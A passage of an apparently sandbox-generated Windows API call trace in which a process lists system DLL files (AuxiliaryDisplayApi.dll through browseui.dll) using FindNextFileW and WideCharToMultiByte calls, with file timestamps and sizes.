lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x90c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0041.754] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x90c288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0041.754] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.754] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.755] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x90c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0041.755] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.755] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.755] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.755] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.755] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.755] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.756] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x90c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0041.756] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.756] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x90c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0041.756] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.756] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.756] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.756] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.756] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0041.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.757] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0041.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.757] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0041.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.757] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0041.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.757] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0041.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.757] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0041.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 